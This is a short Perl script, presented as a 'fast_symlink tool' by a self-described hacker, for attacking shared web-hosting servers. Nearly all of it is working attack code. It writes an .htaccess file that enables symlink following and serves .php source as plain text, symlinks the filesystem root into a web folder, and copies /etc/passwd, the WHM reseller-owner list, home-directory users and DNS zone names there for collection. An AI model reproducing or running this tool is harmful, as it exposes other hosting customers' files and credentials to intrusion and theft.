fast_symlink tool

#!/usr/local/bin/perl

# tool by 4li ( snip3r_ir@hotmail.com)*/
# Iranian hacker */
# love to Islam */
# this tool makes symlink, htaccess , extract passwd file , domains and resellers
# usage : perl 4li.pl
use strict;
use warnings;

my $existingdir = './ali';
mkdir $existingdir unless -d $existingdir; # Check if dir exists. If not create it.
open my $fileHandle, ">>", "$existingdir/.htaccess" or die "Can't open '$existingdir/.htaccess'\n";
print $fileHandle "Options Indexes FollowSymLinks\n";
print $fileHandle "DirectoryIndex ssssss.htm\n";
print $fileHandle "AddType txt .php\n";
print $fileHandle "AddHandler txt .php\n";
close $fileHandle;

system("ln -s / ./ali/a.txt");
system("cat /etc/trueuserowners >./ali/whm.txt");
system("cat /etc/passwd >./ali/u.txt");
system("cat /etc/passwd | grep /home | cut -d: -f1 >./ali/u1.txt");
system("ls /var/named/ >./ali/named.txt");
system("echo ./Done");